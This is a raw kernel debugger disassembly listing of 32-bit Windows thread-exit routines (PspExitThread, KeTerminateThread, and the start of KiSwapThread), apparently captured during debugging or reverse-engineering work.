8408328e 837dd800        cmp     dword ptr [ebp-28h],0

84083292 7408            je      nt!PspExitThread+0x211 (8408329c)

84083294 8b4dd8          mov     ecx,dword ptr [ebp-28h]

84083297 e827eae0ff      call    nt!ObfDereferenceObject (83e91cc3)

8408329c 8975d8          mov     dword ptr [ebp-28h],esi

8408329f 66ff8b84000000  dec     word ptr [ebx+84h]

840832a6 8d8798000000    lea     eax,[edi+98h]

840832ac f00fba2800      lock bts dword ptr [eax],0

840832b1 730b            jae     nt!PspExitThread+0x233 (840832be)

840832b3 8d8f98000000    lea     ecx,[edi+98h]

840832b9 e8cf88e2ff      call    nt!ExfAcquirePushLockExclusive (83eabb8d)

840832be 8b45d4          mov     eax,dword ptr [ebp-2Ch]

840832c1 8b00            mov     eax,dword ptr [eax]

840832c3 8945d4          mov     dword ptr [ebp-2Ch],eax

840832c6 8d8f88010000    lea     ecx,[edi+188h]

840832cc 3bc1            cmp     eax,ecx

840832ce 0f853bffffff    jne     nt!PspExitThread+0x184 (8408320f)

840832d4 8b7508          mov     esi,dword ptr [ebp+8]

840832d7 eb0e            jmp     nt!PspExitThread+0x25c (840832e7)

840832d9 81fe4b0000c0    cmp     esi,0C000004Bh

840832df 7406            je      nt!PspExitThread+0x25c (840832e7)

840832e1 89b7a4010000    mov     dword ptr [edi+1A4h],esi

840832e7 83c8ff          or      eax,0FFFFFFFFh

840832ea 8d8f98000000    lea     ecx,[edi+98h]

840832f0 8bd1            mov     edx,ecx

840832f2 f00fc102        lock xadd dword ptr [edx],eax

840832f6 a802            test    al,2

840832f8 7409            je      nt!PspExitThread+0x278 (84083303)

840832fa a804            test    al,4

840832fc 7505            jne     nt!PspExitThread+0x278 (84083303)

840832fe e8348be5ff      call    nt!ExfTryToWakePushLock (83edbe37)

84083303 66ff8384000000  inc     word ptr [ebx+84h]

8408330a 0fb78384000000  movzx   eax,word ptr [ebx+84h]

84083311 6685c0          test    ax,ax

84083314 7516            jne     nt!PspExitThread+0x2a1 (8408332c)

84083316 8d4340          lea     eax,[ebx+40h]

84083319 3900            cmp     dword ptr [eax],eax

8408331b 740f            je      nt!PspExitThread+0x2a1 (8408332c)

8408331d 6683bb8600000000 cmp     word ptr [ebx+86h],0

84083325 7505            jne     nt!PspExitThread+0x2a1 (8408332c)

84083327 e86de1dbff      call    nt!KiCheckForKernelApcDelivery (83e41499)

8408332c 837dd800        cmp     dword ptr [ebp-28h],0

84083330 7408            je      nt!PspExitThread+0x2af (8408333a)

84083332 8b4dd8          mov     ecx,dword ptr [ebp-28h]

84083335 e889e9e0ff      call    nt!ObfDereferenceObject (83e91cc3)

8408333a 83bfec00000000  cmp     dword ptr [edi+0ECh],0

84083341 7422            je      nt!PspExitThread+0x2da (84083365)

84083343 f7433c00200000  test    dword ptr [ebx+3Ch],2000h

8408334a 7519            jne     nt!PspExitThread+0x2da (84083365)

8408334c 807de300        cmp     byte ptr [ebp-1Dh],0

84083350 740d            je      nt!PspExitThread+0x2d4 (8408335f)

84083352 ffb774020000    push    dword ptr [edi+274h]

84083358 e8ba630400      call    nt!DbgkExitProcess (840c9717)

8408335d eb06            jmp     nt!PspExitThread+0x2da (84083365)

8408335f 56              push    esi

84083360 e83e630400      call    nt!DbgkExitThread (840c96a3)

84083365 803d2cedf78300  cmp     byte ptr [nt!KdDebuggerEnabled (83f7ed2c)],0

8408336c 742f            je      nt!PspExitThread+0x312 (8408339d)

8408336e f6838002000040  test    byte ptr [ebx+280h],40h

84083375 7426            je      nt!PspExitThread+0x312 (8408339d)

84083377 8b8350010000    mov     eax,dword ptr [ebx+150h]

8408337d 8b8070020000    mov     eax,dword ptr [eax+270h]

84083383 a908000040      test    eax,40000008h

84083388 7513            jne     nt!PspExitThread+0x312 (8408339d)

8408338a 8d876c010000    lea     eax,[edi+16Ch]

84083390 50              push    eax

84083391 68402d0384      push    offset nt! ?? ::NNGAKEGL::`string' (84032d40)

84083396 8bf3            mov     esi,ebx

84083398 e8574c0700      call    nt!PspCatchCriticalBreak (840f7ff4)

8408339d 807de300        cmp     byte ptr [ebp-1Dh],0

840833a1 7428            je      nt!PspExitThread+0x340 (840833cb)

840833a3 f7877002000000200000 test dword ptr [edi+270h],2000h

840833ad 741c            je      nt!PspExitThread+0x340 (840833cb)

840833af 803d2cedf78300  cmp     byte ptr [nt!KdDebuggerEnabled (83f7ed2c)],0

840833b6 7478            je      nt!PspExitThread+0x3a5 (84083430)

840833b8 8d876c010000    lea     eax,[edi+16Ch]

840833be 50              push    eax

840833bf 68702d0384      push    offset nt! ?? ::NNGAKEGL::`string' (84032d70)

840833c4 8bf7            mov     esi,edi

840833c6 e8294c0700      call    nt!PspCatchCriticalBreak (840f7ff4)

840833cb 8bb31c020000    mov     esi,dword ptr [ebx+21Ch]

840833d1 85f6            test    esi,esi

840833d3 0f8485000000    je      nt!PspExitThread+0x3d3 (8408345e)

840833d9 6a08            push    8

840833db 58              pop     eax

840833dc 668945a4        mov     word ptr [ebp-5Ch],ax

840833e0 6a20            push    20h

840833e2 58              pop     eax

840833e3 668945a6        mov     word ptr [ebp-5Ah],ax

840833e7 6a06            push    6

840833e9 58              pop     eax

840833ea 668945a8        mov     word ptr [ebp-58h],ax

840833ee 33c0            xor     eax,eax

840833f0 668945aa        mov     word ptr [ebp-56h],ax

840833f4 8b8300020000    mov     eax,dword ptr [ebx+200h]

840833fa 8945bc          mov     dword ptr [ebp-44h],eax

840833fd 8b8304020000    mov     eax,dword ptr [ebx+204h]

84083403 8945c0          mov     dword ptr [ebp-40h],eax

84083406 8d45a4          lea     eax,[ebp-5Ch]

84083409 50              push    eax

8408340a ff7604          push    dword ptr [esi+4]

8408340d e88b140100      call    nt!LpcRequestPort (8409489d)

84083412 3d170000c0      cmp     eax,0C0000017h

84083417 7407            je      nt!PspExitThread+0x395 (84083420)

84083419 3d9a0000c0      cmp     eax,0C000009Ah

8408341e 7520            jne     nt!PspExitThread+0x3b5 (84083440)

84083420 68a033e683      push    offset nt!PspShortTime (83e633a0)

84083425 6a00            push    0

84083427 6a00            push    0

84083429 e8fd2ae1ff      call    nt!KeDelayExecutionThread (83e95f2b)

8408342e ebd6            jmp     nt!PspExitThread+0x37b (84083406)

84083430 33c0            xor     eax,eax

84083432 50              push    eax

84083433 50              push    eax

84083434 50              push    eax

84083435 57              push    edi

84083436 68ef000000      push    0EFh

8408343b e97dfcffff      jmp     nt!PspExitThread+0x33 (840830bd)

84083440 8b4e04          mov     ecx,dword ptr [esi+4]

84083443 e87be8e0ff      call    nt!ObfDereferenceObject (83e91cc3)

84083448 8b3e            mov     edi,dword ptr [esi]

8408344a 68507354f0      push    0F0547350h

8408344f 56              push    esi

84083450 e86576ebff      call    nt!ExFreePoolWithTag (83f3aaba)

84083455 8bf7            mov     esi,edi

84083457 85ff            test    edi,edi

84083459 75ab            jne     nt!PspExitThread+0x37b (84083406)

8408345b 8b7ddc          mov     edi,dword ptr [ebp-24h]

8408345e f6838002000002  test    byte ptr [ebx+280h],2

84083465 7468            je      nt!PspExitThread+0x444 (840834cf)

84083467 57              push    edi

84083468 e877fbffff      call    nt!PsCaptureExceptionPort (84082fe4)

8408346d 8bf0            mov     esi,eax

8408346f 85f6            test    esi,esi

84083471 745c            je      nt!PspExitThread+0x444 (840834cf)

84083473 6a08            push    8

84083475 58              pop     eax

84083476 668945a4        mov     word ptr [ebp-5Ch],ax

8408347a 6a20            push    20h

8408347c 58              pop     eax

8408347d 668945a6        mov     word ptr [ebp-5Ah],ax

84083481 6a06            push    6

84083483 58              pop     eax

84083484 668945a8        mov     word ptr [ebp-58h],ax

84083488 33c0            xor     eax,eax

8408348a 668945aa        mov     word ptr [ebp-56h],ax

8408348e 8b8300020000    mov     eax,dword ptr [ebx+200h]

84083494 8945bc          mov     dword ptr [ebp-44h],eax

84083497 8b8304020000    mov     eax,dword ptr [ebx+204h]

8408349d 8945c0          mov     dword ptr [ebp-40h],eax

840834a0 8d45a4          lea     eax,[ebp-5Ch]

840834a3 50              push    eax

840834a4 56              push    esi

840834a5 e8f3130100      call    nt!LpcRequestPort (8409489d)

840834aa 3d170000c0      cmp     eax,0C0000017h

840834af 7407            je      nt!PspExitThread+0x42d (840834b8)

840834b1 3d9a0000c0      cmp     eax,0C000009Ah

840834b6 7510            jne     nt!PspExitThread+0x43d (840834c8)

840834b8 68a033e683      push    offset nt!PspShortTime (83e633a0)

840834bd 6a00            push    0

840834bf 6a00            push    0

840834c1 e8652ae1ff      call    nt!KeDelayExecutionThread (83e95f2b)

840834c6 ebd8            jmp     nt!PspExitThread+0x415 (840834a0)

840834c8 8bce            mov     ecx,esi

840834ca e8f4e7e0ff      call    nt!ObfDereferenceObject (83e91cc3)

840834cf 8b838c010000    mov     eax,dword ptr [ebx+18Ch]

840834d5 85c0            test    eax,eax

840834d7 7409            je      nt!PspExitThread+0x457 (840834e2)

840834d9 6a01            push    1

840834db 53              push    ebx

840834dc ff15f44e1884    call    dword ptr [nt!PspW32ThreadCallout (84184ef4)]

840834e2 807de300        cmp     byte ptr [ebp-1Dh],0

840834e6 7412            je      nt!PspExitThread+0x46f (840834fa)

840834e8 83bf2001000000  cmp     dword ptr [edi+120h],0

840834ef 7409            je      nt!PspExitThread+0x46f (840834fa)

840834f1 6a00            push    0

840834f3 57              push    edi

840834f4 ff15f04e1884    call    dword ptr [nt!PspW32ProcessCallout (84184ef0)]

840834fa 8b83b8000000    mov     eax,dword ptr [ebx+0B8h]

84083500 a840            test    al,40h

84083502 7510            jne     nt!PspExitThread+0x489 (84083514)

84083504 33c0            xor     eax,eax

84083506 50              push    eax

84083507 50              push    eax

84083508 50              push    eax

84083509 50              push    eax

8408350a 6894000000      push    94h

8408350f e9a9fbffff      jmp     nt!PspExitThread+0x33 (840830bd)

84083514 e8e8abffff      call    nt!IoCancelThreadIo (8407e101)

84083519 e864bee4ff      call    nt!ExTimerRundown (83ecf382)

8408351e 53              push    ebx

8408351f e8d9f8ffff      call    nt!CmNotifyRunDown (84082dfd)

84083524 e84dbfe4ff      call    nt!KeRundownThread (83ecf476)

84083529 8d8388000000    lea     eax,[ebx+88h]

8408352f 8b38            mov     edi,dword ptr [eax]

84083531 897dd4          mov     dword ptr [ebp-2Ch],edi

84083534 832000          and     dword ptr [eax],0

84083537 66ff8b84000000  dec     word ptr [ebx+84h]

8408353e 8db374020000    lea     esi,[ebx+274h]

84083544 8745d0          xchg    eax,dword ptr [ebp-30h]

84083547 8b0e            mov     ecx,dword ptr [esi]

84083549 83e101          and     ecx,1

8408354c 8745cc          xchg    eax,dword ptr [ebp-34h]

8408354f 85c9            test    ecx,ecx

84083551 740e            je      nt!PspExitThread+0x4d6 (84083561)

84083553 8bce            mov     ecx,esi

84083555 e83386e2ff      call    nt!ExfAcquirePushLockExclusive (83eabb8d)

8408355a 8bce            mov     ecx,esi

8408355c e850b2eaff      call    nt!ExfReleasePushLockExclusive (83f2e7b1)

84083561 66ff8384000000  inc     word ptr [ebx+84h]

84083568 0fb78384000000  movzx   eax,word ptr [ebx+84h]

8408356f 6685c0          test    ax,ax

84083572 7516            jne     nt!PspExitThread+0x4ff (8408358a)

84083574 8d4340          lea     eax,[ebx+40h]

84083577 3900            cmp     dword ptr [eax],eax

84083579 740f            je      nt!PspExitThread+0x4ff (8408358a)

8408357b 6683bb8600000000 cmp     word ptr [ebx+86h],0

84083583 7505            jne     nt!PspExitThread+0x4ff (8408358a)

84083585 e80fdfdbff      call    nt!KiCheckForKernelApcDelivery (83e41499)

8408358a f7433c00200000  test    dword ptr [ebx+3Ch],2000h

84083591 7560            jne     nt!PspExitThread+0x568 (840835f3)

84083593 8b45dc          mov     eax,dword ptr [ebp-24h]

84083596 8b8070020000    mov     eax,dword ptr [eax+270h]

8408359c a908000040      test    eax,40000008h

840835a1 7550            jne     nt!PspExitThread+0x568 (840835f3)

840835a3 8365fc00        and     dword ptr [ebp-4],0

840835a7 f6838002000002  test    byte ptr [ebx+280h],2

840835ae 740b            je      nt!PspExitThread+0x530 (840835bb)

840835b0 ffb70c0e0000    push    dword ptr [edi+0E0Ch]

840835b6 e8aef0f9ff      call    nt!RtlFreeUserStack (84022669)

840835bb 8b87240f0000    mov     eax,dword ptr [edi+0F24h]

840835c1 85c0            test    eax,eax

840835c3 7408            je      nt!PspExitThread+0x542 (840835cd)

840835c5 6a01            push    1

840835c7 50              push    eax

840835c8 e85883fdff      call    nt!ObCloseHandle (8405b925)

840835cd c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

840835d4 eb14            jmp     nt!PspExitThread+0x55f (840835ea)

840835d6 33c0            xor     eax,eax

840835d8 40              inc     eax

840835d9 c3              ret

840835da 8b65e8          mov     esp,dword ptr [ebp-18h]

840835dd c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

840835e4 8b5dc8          mov     ebx,dword ptr [ebp-38h]

840835e7 8b7dd4          mov     edi,dword ptr [ebp-2Ch]

840835ea 57              push    edi

840835eb ff75dc          push    dword ptr [ebp-24h]

840835ee e810eff9ff      call    nt!MmDeleteTeb (84022503)

840835f3 8db308020000    lea     esi,[ebx+208h]

840835f9 56              push    esi

840835fa e821d1dcff      call    nt!KeQuerySystemTime (83e50720)

840835ff 807de300        cmp     byte ptr [ebp-1Dh],0

84083603 0f8485000000    je      nt!PspExitThread+0x603 (8408368e)

84083609 8b06            mov     eax,dword ptr [esi]

8408360b 8b7ddc          mov     edi,dword ptr [ebp-24h]

8408360e 8987a8000000    mov     dword ptr [edi+0A8h],eax

84083614 8b4604          mov     eax,dword ptr [esi+4]

84083617 8987ac000000    mov     dword ptr [edi+0ACh],eax

8408361d 57              push    edi

8408361e 6a01            push    1

84083620 e82c21ffff      call    nt!PspExitProcess (84075751)

84083625 57              push    edi

84083626 e86d8efbff      call    nt!PsReferencePrimaryToken (8403c498)

8408362b 8bf0            mov     esi,eax

8408362d 8bd6            mov     edx,esi

8408362f b982000000      mov     ecx,82h

84083634 e853240000      call    nt!SeAuditingWithTokenForSubcategory (84085a8c)

84083639 84c0            test    al,al

8408363b 7409            je      nt!PspExitThread+0x5bb (84083646)

8408363d ff7508          push    dword ptr [ebp+8]

84083640 57              push    edi

84083641 e885150800      call    nt!SeAuditProcessExit (84104bcb)

84083646 56              push    esi

84083647 8d97f8000000    lea     edx,[edi+0F8h]

8408364d e8da73e1ff      call    nt!ObFastDereferenceObject (83e9aa2c)

84083652 83bf4801000000  cmp     dword ptr [edi+148h],0

84083659 7406            je      nt!PspExitThread+0x5d6 (84083661)

8408365b 57              push    edi

8408365c e86a52eaff      call    nt!VdmRundownDpcs (83f288cb)

84083661 e8cc28ffff      call    nt!ObKillProcess (84075f32)

84083666 8d8728010000    lea     eax,[edi+128h]

8408366c 8b08            mov     ecx,dword ptr [eax]

8408366e 85c9            test    ecx,ecx

84083670 7408            je      nt!PspExitThread+0x5ef (8408367a)

84083672 832000          and     dword ptr [eax],0

84083675 e849e6e0ff      call    nt!ObfDereferenceObject (83e91cc3)

8408367a 8d8724010000    lea     eax,[edi+124h]

84083680 8b08            mov     ecx,dword ptr [eax]

84083682 85c9            test    ecx,ecx

84083684 7408            je      nt!PspExitThread+0x603 (8408368e)

84083686 57              push    edi

84083687 8b00            mov     eax,dword ptr [eax]

84083689 e8fd3d0100      call    nt!PspExitProcessFromJob (8409748b)

8408368e 66ff8b84000000  dec     word ptr [ebx+84h]

84083695 8d83b8000000    lea     eax,[ebx+0B8h]

8408369b f00fba3005      lock btr dword ptr [eax],5

840836a0 8bc3            mov     eax,ebx

840836a2 e8f8bbe4ff      call    nt!KeForceResumeThread (83ecf29f)

840836a7 66ff8384000000  inc     word ptr [ebx+84h]

840836ae 0fb78384000000  movzx   eax,word ptr [ebx+84h]

840836b5 33ff            xor     edi,edi

840836b7 663bc7          cmp     ax,di

840836ba 7515            jne     nt!PspExitThread+0x646 (840836d1)

840836bc 8d4340          lea     eax,[ebx+40h]

840836bf 3900            cmp     dword ptr [eax],eax

840836c1 740e            je      nt!PspExitThread+0x646 (840836d1)

840836c3 6639bb86000000  cmp     word ptr [ebx+86h],di

840836ca 7505            jne     nt!PspExitThread+0x646 (840836d1)

840836cc e8c8dddbff      call    nt!KiCheckForKernelApcDelivery (83e41499)

840836d1 6a01            push    1

840836d3 8bc3            mov     eax,ebx

840836d5 e852bee4ff      call    nt!KeFlushQueueApc (83ecf52c)

840836da 8bf0            mov     esi,eax

840836dc 897508          mov     dword ptr [ebp+8],esi

840836df 3bf7            cmp     esi,edi

840836e1 741d            je      nt!PspExitThread+0x675 (84083700)

840836e3 8d46f4          lea     eax,[esi-0Ch]

840836e6 8b36            mov     esi,dword ptr [esi]

840836e8 8b4818          mov     ecx,dword ptr [eax+18h]

840836eb 3bcf            cmp     ecx,edi

840836ed 7405            je      nt!PspExitThread+0x669 (840836f4)

840836ef 50              push    eax

840836f0 ffd1            call    ecx

840836f2 eb07            jmp     nt!PspExitThread+0x670 (840836fb)

840836f4 57              push    edi

840836f5 50              push    eax

840836f6 e8bf73ebff      call    nt!ExFreePoolWithTag (83f3aaba)

840836fb 3b7508          cmp     esi,dword ptr [ebp+8]

840836fe 75e3            jne     nt!PspExitThread+0x658 (840836e3)

84083700 807de300        cmp     byte ptr [ebp-1Dh],0

84083704 7411            je      nt!PspExitThread+0x68c (84083717)

84083706 8b7ddc          mov     edi,dword ptr [ebp-24h]

84083709 8bc7            mov     eax,edi

8408370b e86f3ce5ff      call    nt!MmCleanProcessAddressSpace (83ed737f)

84083710 e8b29d0000      call    nt!LpcExitProcess (8408d4c7)

84083715 33ff            xor     edi,edi

84083717 39bbbc010000    cmp     dword ptr [ebx+1BCh],edi

8408371d 740c            je      nt!PspExitThread+0x6a0 (8408372b)

8408371f a1e04e1884      mov     eax,dword ptr [nt!PspLegoNotifyRoutine (84184ee0)]

84083724 3bc7            cmp     eax,edi

84083726 7403            je      nt!PspExitThread+0x6a0 (8408372b)

84083728 53              push    ebx

84083729 ffd0            call    eax

8408372b 57              push    edi

8408372c 8bc3            mov     eax,ebx

8408372e e8f9bde4ff      call    nt!KeFlushQueueApc (83ecf52c)

84083733 8bf0            mov     esi,eax

84083735 3bf7            cmp     esi,edi

84083737 7525            jne     nt!PspExitThread+0x6d3 (8408375e)

84083739 39bb84000000    cmp     dword ptr [ebx+84h],edi

8408373f 751d            jne     nt!PspExitThread+0x6d3 (8408375e)

84083741 807de300        cmp     byte ptr [ebp-1Dh],0

84083745 7408            je      nt!PspExitThread+0x6c4 (8408374f)

84083747 8b45dc          mov     eax,dword ptr [ebp-24h]

8408374a e81653e5ff      call    nt!KeSetProcess (83ed8a65)

8408374f 8bf3            mov     esi,ebx

84083751 e877b9e4ff      call    nt!KeTerminateThread (83ecf0cd)

84083756 e89254e1ff      call    nt!_SEH_epilog4 (83e98bed)

8408375b c20400          ret     4

8408375e 57              push    edi

8408375f ff1568a1e183    call    dword ptr [nt!_imp__KeGetCurrentIrql (83e1a168)]

84083765 0fb6c0          movzx   eax,al

84083768 50              push    eax

84083769 ffb384000000    push    dword ptr [ebx+84h]

8408376f 56              push    esi

84083770 e97df9ffff      jmp     nt!PspExitThread+0x67 (840830f2)

84083775 90              nop

kd> u KeTerminateThread l100

nt!KeTerminateThread:

83ecf0cd 8bff            mov     edi,edi

83ecf0cf 55              push    ebp

83ecf0d0 8bec            mov     ebp,esp

83ecf0d2 83e4f8          and     esp,0FFFFFFF8h

83ecf0d5 648b0d24010000  mov     ecx,dword ptr fs:[124h]

83ecf0dc 64a124010000    mov     eax,dword ptr fs:[00000124h]

83ecf0e2 8b80b8000000    mov     eax,dword ptr [eax+0B8h]

83ecf0e8 83ec10          sub     esp,10h

83ecf0eb 53              push    ebx

83ecf0ec 57              push    edi

83ecf0ed a810            test    al,10h

83ecf0ef 7411            je      nt!KeTerminateThread+0x34 (83ecf102)

83ecf0f1 33c0            xor     eax,eax

83ecf0f3 50              push    eax

83ecf0f4 50              push    eax

83ecf0f5 50              push    eax

83ecf0f6 51              push    ecx

83ecf0f7 6807010000      push    107h

83ecf0fc e8018e0200      call    nt!KeBugCheckEx (83ef7f02)

83ecf101 cc              int     3

83ecf102 8b86f4010000    mov     eax,dword ptr [esi+1F4h]

83ecf108 85c0            test    eax,eax

83ecf10a 740a            je      nt!KeTerminateThread+0x48 (83ecf116)

83ecf10c ff7008          push    dword ptr [eax+8]

83ecf10f 8bce            mov     ecx,esi

83ecf111 e83dd00200      call    nt!KeDisableProfiling (83efc153)

83ecf116 8bbe50010000    mov     edi,dword ptr [esi+150h]

83ecf11c 8d44240b        lea     eax,[esp+0Bh]

83ecf120 50              push    eax

83ecf121 57              push    edi

83ecf122 c6868701000016  mov     byte ptr [esi+187h],16h

83ecf129 e821b6feff      call    nt!KiAcquireProcessLock (83eba74f)

83ecf12e 8b8698010000    mov     eax,dword ptr [esi+198h]

83ecf134 018788000000    add     dword ptr [edi+88h],eax

83ecf13a 8b86c4010000    mov     eax,dword ptr [esi+1C4h]

83ecf140 01878c000000    add     dword ptr [edi+8Ch],eax

83ecf146 fa              cli

83ecf147 648b0d20000000  mov     ecx,dword ptr fs:[20h]

83ecf14e 0f31            rdtsc

83ecf150 2b81f8310000    sub     eax,dword ptr [ecx+31F8h]

83ecf156 1b91fc310000    sbb     edx,dword ptr [ecx+31FCh]

83ecf15c 8b4e10          mov     ecx,dword ptr [esi+10h]

83ecf15f 8b5e14          mov     ebx,dword ptr [esi+14h]

83ecf162 03c8            add     ecx,eax

83ecf164 13da            adc     ebx,edx

83ecf166 894c2410        mov     dword ptr [esp+10h],ecx

83ecf16a 895c2414        mov     dword ptr [esp+14h],ebx

83ecf16e 895e18          mov     dword ptr [esi+18h],ebx

83ecf171 894e10          mov     dword ptr [esi+10h],ecx

83ecf174 8b4618          mov     eax,dword ptr [esi+18h]

83ecf177 894614          mov     dword ptr [esi+14h],eax

83ecf17a 8b4e10          mov     ecx,dword ptr [esi+10h]

83ecf17d 8b5614          mov     edx,dword ptr [esi+14h]

83ecf180 8d8780000000    lea     eax,[edi+80h]

83ecf186 8b18            mov     ebx,dword ptr [eax]

83ecf188 8b4004          mov     eax,dword ptr [eax+4]

83ecf18b 03cb            add     ecx,ebx

83ecf18d 13d0            adc     edx,eax

83ecf18f 8d8780000000    lea     eax,[edi+80h]

83ecf195 8908            mov     dword ptr [eax],ecx

83ecf197 895004          mov     dword ptr [eax+4],edx

83ecf19a fb              sti

83ecf19b 33db            xor     ebx,ebx

83ecf19d eb22            jmp     nt!KeTerminateThread+0xf3 (83ecf1c1)

83ecf19f 43              inc     ebx

83ecf1a0 851d7c3af883    test    dword ptr [nt!HvlLongSpinCountMask (83f83a7c)],ebx

83ecf1a6 7511            jne     nt!KeTerminateThread+0xeb (83ecf1b9)

83ecf1a8 f605783af88340  test    byte ptr [nt!HvlEnlightenments (83f83a78)],40h

83ecf1af 7408            je      nt!KeTerminateThread+0xeb (83ecf1b9)

83ecf1b1 53              push    ebx

83ecf1b2 e888230200      call    nt!HvlNotifyLongSpinWait (83ef153f)

83ecf1b7 eb02            jmp     nt!KeTerminateThread+0xed (83ecf1bb)

83ecf1b9 f390            pause

83ecf1bb 8b07            mov     eax,dword ptr [edi]

83ecf1bd 84c0            test    al,al

83ecf1bf 78de            js      nt!KeTerminateThread+0xd1 (83ecf19f)

83ecf1c1 8bc7            mov     eax,edi

83ecf1c3 f00fba2807      lock bts dword ptr [eax],7

83ecf1c8 72d5            jb      nt!KeTerminateThread+0xd1 (83ecf19f)

83ecf1ca 8d86e0010000    lea     eax,[esi+1E0h]

83ecf1d0 8b08            mov     ecx,dword ptr [eax]

83ecf1d2 8b4004          mov     eax,dword ptr [eax+4]

83ecf1d5 8908            mov     dword ptr [eax],ecx

83ecf1d7 894104          mov     dword ptr [ecx+4],eax

83ecf1da bb7fffffff      mov     ebx,0FFFFFF7Fh

83ecf1df 8bc3            mov     eax,ebx

83ecf1e1 8bcf            mov     ecx,edi

83ecf1e3 f02101          lock and dword ptr [ecx],eax

83ecf1e6 33c0            xor     eax,eax

83ecf1e8 83c734          add     edi,34h

83ecf1eb f02107          lock and dword ptr [edi],eax

83ecf1ee 8b467c          mov     eax,dword ptr [esi+7Ch]

83ecf1f1 85c0            test    eax,eax

83ecf1f3 7409            je      nt!KeTerminateThread+0x130 (83ecf1fe)

83ecf1f5 6a00            push    0

83ecf1f7 8bc6            mov     eax,esi

83ecf1f9 e8b381fcff      call    nt!KiSwitchQueue (83e973b1)

83ecf1fe 648b3d20000000  mov     edi,dword ptr fs:[20h]

83ecf205 8364240c00      and     dword ptr [esp+0Ch],0

83ecf20a eb29            jmp     nt!KeTerminateThread+0x167 (83ecf235)

83ecf20c ff44240c        inc     dword ptr [esp+0Ch]

83ecf210 8b44240c        mov     eax,dword ptr [esp+0Ch]

83ecf214 85057c3af883    test    dword ptr [nt!HvlLongSpinCountMask (83f83a7c)],eax

83ecf21a 7511            jne     nt!KeTerminateThread+0x15f (83ecf22d)

83ecf21c f605783af88340  test    byte ptr [nt!HvlEnlightenments (83f83a78)],40h

83ecf223 7408            je      nt!KeTerminateThread+0x15f (83ecf22d)

83ecf225 50              push    eax

83ecf226 e814230200      call    nt!HvlNotifyLongSpinWait (83ef153f)

83ecf22b eb02            jmp     nt!KeTerminateThread+0x161 (83ecf22f)

83ecf22d f390            pause

83ecf22f 8b06            mov     eax,dword ptr [esi]

83ecf231 84c0            test    al,al

83ecf233 78d7            js      nt!KeTerminateThread+0x13e (83ecf20c)

83ecf235 8bc6            mov     eax,esi

83ecf237 f00fba2807      lock bts dword ptr [eax],7

83ecf23c 72ce            jb      nt!KeTerminateThread+0x13e (83ecf20c)

83ecf23e 57              push    edi

83ecf23f c7460401000000  mov     dword ptr [esi+4],1

83ecf246 e8081df8ff      call    nt!KiSignalNotificationObject (83e50f53)

83ecf24b 8bc6            mov     eax,esi

83ecf24d f02118          lock and dword ptr [eax],ebx

83ecf250 c6466804        mov     byte ptr [esi+68h],4

83ecf254 a130bff583      mov     eax,dword ptr [nt!PsReaperListHead (83f5bf30)]

83ecf259 8d8e1c020000    lea     ecx,[esi+21Ch]

83ecf25f 8901            mov     dword ptr [ecx],eax

83ecf261 8944240c        mov     dword ptr [esp+0Ch],eax

83ecf265 8bd1            mov     edx,ecx

83ecf267 bb30bff583      mov     ebx,offset nt!PsReaperListHead (83f5bf30)

83ecf26c f00fb113        lock cmpxchg dword ptr [ebx],edx

83ecf270 3b44240c        cmp     eax,dword ptr [esp+0Ch]

83ecf274 75e9            jne     nt!KeTerminateThread+0x191 (83ecf25f)

83ecf276 85c0            test    eax,eax

83ecf278 7511            jne     nt!KeTerminateThread+0x1bd (83ecf28b)

83ecf27a 50              push    eax

83ecf27b 50              push    eax

83ecf27c 6820bff583      push    offset nt!PsReaperWorkItem (83f5bf20)

83ecf281 b87856f583      mov     eax,offset nt!ExWorkerQueue+0x78 (83f55678)

83ecf286 e8d719f8ff      call    nt!KiInsertQueue (83e50c62)

83ecf28b 8bd7            mov     edx,edi

83ecf28d 8bce            mov     ecx,esi

83ecf28f e8a381fcff      call    nt!KiSwapThread (83e97437)

83ecf294 5f              pop     edi

83ecf295 5b              pop     ebx

83ecf296 8be5            mov     esp,ebp

83ecf298 5d              pop     ebp

83ecf299 c3              ret

kd> u KiSwapThread l100

nt!KiSwapThread:

83e97437 8bff            mov     edi,edi

83e97439 55              push    ebp

83e9743a 8bec            mov     ebp,esp

83e9743c 83e4f8          and     esp,0FFFFFFF8h

83e9743f 83ec24          sub     esp,24h

83e97442 53              push    ebx

83e97443 56              push    esi

83e97444 8bf2            mov     esi,edx

83e97446 33c0            xor     eax,eax

83e97448 57              push    edi

83e97449 894c2414        mov     dword ptr [esp+14h],ecx

83e9744d 3986f4310000    cmp     dword ptr [esi+31F4h],eax

83e97453 740c            je      nt!KiSwapThread+0x2a (83e97461)

83e97455 50              push    eax

83e97456 33d2            xor     edx,edx

83e97458 50              push    eax

83e97459 42              inc     edx

83e9745a 8bce            mov     ecx,esi

83e9745c e8bbf1ffff      call    nt!KiProcessThreadWaitList (83e9661c)

83e97461 fa              cli

83e97462 8b7e04          mov     edi,dword ptr [esi+4]

83e97465 c6461101        mov     byte ptr [esi+11h],1

83e97469 0f31            rdtsc

83e9746b 8bd8            mov     ebx,eax

83e9746d 8bc2            mov     eax,edx

83e9746f 8944241c        mov     dword ptr [esp+1Ch],eax

83e97473 8bd3            mov     edx,ebx

83e97475 2b96f8310000    sub     edx,dword ptr [esi+31F8h]

83e9747b 1b86fc310000    sbb     eax,dword ptr [esi+31FCh]

83e97481 89442424        mov     dword ptr [esp+24h],eax

83e97485 8b4710          mov     eax,dword ptr [edi+10h]

83e97488 8b4f14          mov     ecx,dword ptr [edi+14h]

83e9748b 03c2            add     eax,edx

83e9748d 134c2424        adc     ecx,dword ptr [esp+24h]

83e97491 89442428        mov     dword ptr [esp+28h],eax

83e97495 894c242c        mov     dword ptr [esp+2Ch],ecx

83e97499 894f18          mov     dword ptr [edi+18h],ecx

83e9749c 894710          mov     dword ptr [edi+10h],eax

83e9749f 8b4718          mov     eax,dword ptr [edi+18h]

83e974a2 894714          mov     dword ptr [edi+14h],eax

83e974a5 8a4702          mov     al,byte ptr [edi+2]

83e974a8 a805            test    al,5

83e974aa 741b            je      nt!KiSwapThread+0x90 (83e974c7)

83e974ac a801            test    al,1

83e974ae 740b            je      nt!KiSwapThread+0x84 (83e974bb)

83e974b0 ff742424        push    dword ptr [esp+24h]

83e974b4 52              push    edx

83e974b5 56              push    esi

83e974b6 e8788a0700      call    nt!PsChargeProcessCpuCycles (83f0ff33)

83e974bb f6470204        test    byte ptr [edi+2],4

83e974bf 7406            je      nt!KiSwapThread+0x90 (83e974c7)

